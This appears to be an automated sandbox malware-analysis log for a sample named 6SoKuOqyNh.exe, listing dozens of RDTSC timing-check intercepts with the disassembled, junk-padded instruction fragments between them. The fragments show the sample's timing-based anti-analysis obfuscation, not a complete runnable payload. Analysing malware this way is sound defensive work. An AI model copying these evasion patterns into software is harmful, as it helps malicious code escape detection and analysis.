Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CECA37 second address: CECA3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CECA3D second address: CECA48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CECA48 second address: CECA4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CECA4E second address: CECA57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CECA57 second address: CECA6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC9D8BCC16Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CECBF6 second address: CECBFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CECBFA second address: CECC1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jp 00007FC9D8BCC19Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC9D8BCC16Fh 0x00000014 ja 00007FC9D8BCC166h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CECC1E second address: CECC34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CED081 second address: CED095 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC9D8BCC166h 0x00000008 jno 00007FC9D8BCC166h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CED095 second address: CED099 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CED64A second address: CED650 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CED7C4 second address: CED7DD instructions: 0x00000000 rdtsc 0x00000002 js 00007FC9D915F4B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 push ebx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 pushad 0x00000015 push eax 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CED917 second address: CED91D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CED91D second address: CED921 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CEF1B6 second address: CEF1C3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC9D8BCC166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CEF1C3 second address: CEF1DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC9D915F4B6h 0x0000000a pop ebx 0x0000000b popad 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007FC9D915F4B6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CEF1DA second address: CEF1DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CEF1DE second address: CEF1E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CF33C6 second address: CF3421 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC177h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c jl 00007FC9D8BCC176h 0x00000012 jmp 00007FC9D8BCC170h 0x00000017 jbe 00007FC9D8BCC16Ch 0x0000001d mov dword ptr [ebp+124674A7h], eax 0x00000023 push 00000004h 0x00000025 mov edx, dword ptr [ebp+122D1E2Fh] 0x0000002b push A4105B35h 0x00000030 push eax 0x00000031 push edx 0x00000032 jp 00007FC9D8BCC16Ch 0x00000038 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CF3421 second address: CF3426 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CF36F3 second address: CF36F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CF36F9 second address: CF36FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CF48A7 second address: CF48BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pushad 0x00000006 popad 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC9D8BCC16Bh 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CF5F79 second address: CF5F7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CF5F7D second address: CF5FA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC9D8BCC173h 0x0000000d jmp 00007FC9D8BCC170h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CF5FA8 second address: CF5FCA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC9D915F4C8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CF5FCA second address: CF5FCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CF5FCE second address: CF5FD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CF5FD4 second address: CF6019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007FC9D8BCC166h 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jns 00007FC9D8BCC166h 0x0000001c jno 00007FC9D8BCC166h 0x00000022 jmp 00007FC9D8BCC16Ah 0x00000027 popad 0x00000028 jmp 00007FC9D8BCC178h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: CF6019 second address: CF601E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D70121 second address: 4D70131 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9D8BCC16Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D70131 second address: 4D70150 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a mov bx, si 0x0000000d mov ax, B285h 0x00000011 popad 0x00000012 mov dword ptr [esp], ebp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 mov edx, 3A587000h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D70150 second address: 4D70155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D70155 second address: 4D70188 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC9D915F4C7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D70188 second address: 4D701DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC9D8BCC16Fh 0x00000009 xor ecx, 5761613Eh 0x0000000f jmp 00007FC9D8BCC179h 0x00000014 popfd 0x00000015 call 00007FC9D8BCC170h 0x0000001a pop eax 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e pop ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FC9D8BCC16Ch 0x00000026 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D60011 second address: 4D600C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov dh, cl 0x0000000d pushfd 0x0000000e jmp 00007FC9D915F4C9h 0x00000013 add esi, 70EAF2D6h 0x00000019 jmp 00007FC9D915F4C1h 0x0000001e popfd 0x0000001f popad 0x00000020 push eax 0x00000021 pushad 0x00000022 mov bx, 2C12h 0x00000026 pushfd 0x00000027 jmp 00007FC9D915F4C3h 0x0000002c and eax, 2865F40Eh 0x00000032 jmp 00007FC9D915F4C9h 0x00000037 popfd 0x00000038 popad 0x00000039 xchg eax, ebp 0x0000003a jmp 00007FC9D915F4BEh 0x0000003f mov ebp, esp 0x00000041 pushad 0x00000042 mov bh, al 0x00000044 mov di, 321Eh 0x00000048 popad 0x00000049 pop ebp 0x0000004a push eax 0x0000004b push edx 0x0000004c jmp 00007FC9D915F4C0h 0x00000051 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DA00CD second address: 4DA00D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DA00D3 second address: 4DA00D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DA00D7 second address: 4DA0132 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FC9D8BCC16Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 pushad 0x00000012 mov cx, AD8Dh 0x00000016 mov ah, 95h 0x00000018 popad 0x00000019 mov ebp, esp 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FC9D8BCC16Bh 0x00000022 adc cx, 823Eh 0x00000027 jmp 00007FC9D8BCC179h 0x0000002c popfd 0x0000002d mov ax, 2987h 0x00000031 popad 0x00000032 pop ebp 0x00000033 pushad 0x00000034 mov edi, eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4DA0132 second address: 4DA0136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30184 second address: 4D3018E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 546D5BB2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D3018E second address: 4D30222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esp 0x00000008 jmp 00007FC9D915F4C4h 0x0000000d mov dword ptr [esp], ebp 0x00000010 jmp 00007FC9D915F4C0h 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 mov ax, dx 0x0000001b popad 0x0000001c push dword ptr [ebp+04h] 0x0000001f pushad 0x00000020 jmp 00007FC9D915F4C5h 0x00000025 pushfd 0x00000026 jmp 00007FC9D915F4C0h 0x0000002b sub si, 9988h 0x00000030 jmp 00007FC9D915F4BBh 0x00000035 popfd 0x00000036 popad 0x00000037 push dword ptr [ebp+0Ch] 0x0000003a jmp 00007FC9D915F4C6h 0x0000003f push dword ptr [ebp+08h] 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30222 second address: 4D30226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D30226 second address: 4D3022C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D50D3E second address: 4D50D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D50D42 second address: 4D50D48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D50D48 second address: 4D50DB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FC9D8BCC16Eh 0x0000000f mov ebp, esp 0x00000011 jmp 00007FC9D8BCC170h 0x00000016 pop ebp 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007FC9D8BCC16Dh 0x00000020 or ah, 00000026h 0x00000023 jmp 00007FC9D8BCC171h 0x00000028 popfd 0x00000029 mov ah, EBh 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D50DB0 second address: 4D50DB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D507D4 second address: 4D507F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC179h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D507F1 second address: 4D50842 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FC9D915F4BCh 0x00000011 adc cl, 00000048h 0x00000014 jmp 00007FC9D915F4BBh 0x00000019 popfd 0x0000001a movzx ecx, di 0x0000001d popad 0x0000001e push eax 0x0000001f jmp 00007FC9D915F4C2h 0x00000024 xchg eax, ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D50842 second address: 4D50846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D50846 second address: 4D50863 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D50863 second address: 4D5089A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 7B52h 0x00000007 movsx edi, si 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007FC9D8BCC16Eh 0x00000018 jmp 00007FC9D8BCC175h 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D503C6 second address: 4D503D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC9D915F4BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D603BC second address: 4D603E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FC9D8BCC176h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D603E9 second address: 4D603ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D603ED second address: 4D60409 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC178h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D60409 second address: 4D6042D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC9D915F4C0h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D6042D second address: 4D6043C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D6043C second address: 4D60442 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D60442 second address: 4D60446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D60446 second address: 4D60459 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f movzx ecx, bx 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D704B1 second address: 4D704C0 instructions: 0x00000000 rdtsc 0x00000002 movzx esi, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D704C0 second address: 4D704C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D704C4 second address: 4D704CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D704CA second address: 4D70532 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC9D915F4BCh 0x00000009 adc si, 2288h 0x0000000e jmp 00007FC9D915F4BBh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FC9D915F4C8h 0x0000001a or ax, 84E8h 0x0000001f jmp 00007FC9D915F4BBh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 mov dword ptr [esp], ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FC9D915F4C5h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D505A3 second address: 4D505A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D505A9 second address: 4D505AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D505AD second address: 4D505F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC16Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d movsx ebx, si 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007FC9D8BCC178h 0x00000018 jmp 00007FC9D8BCC175h 0x0000001d popfd 0x0000001e rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D505F3 second address: 4D50606 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov ecx, edx 0x0000000d mov ebx, 42C05368h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D50606 second address: 4D50678 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC16Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FC9D8BCC170h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FC9D8BCC16Dh 0x0000001a add eax, 2A8E3C36h 0x00000020 jmp 00007FC9D8BCC171h 0x00000025 popfd 0x00000026 pushfd 0x00000027 jmp 00007FC9D8BCC170h 0x0000002c adc eax, 53AD6B58h 0x00000032 jmp 00007FC9D8BCC16Bh 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D7008E second address: 4D700CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC9D915F4C7h 0x00000008 call 00007FC9D915F4C8h 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D700CB second address: 4D700CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D700CF second address: 4D700D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D700D3 second address: 4D700D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D700D9 second address: 4D700DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D7033C second address: 4D70358 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D8BCC171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D70358 second address: 4D7035C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D7035C second address: 4D70362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6SoKuOqyNh.exe	RDTSC instruction interceptor: First address: 4D70362 second address: 4D70382 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC9D915F4C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
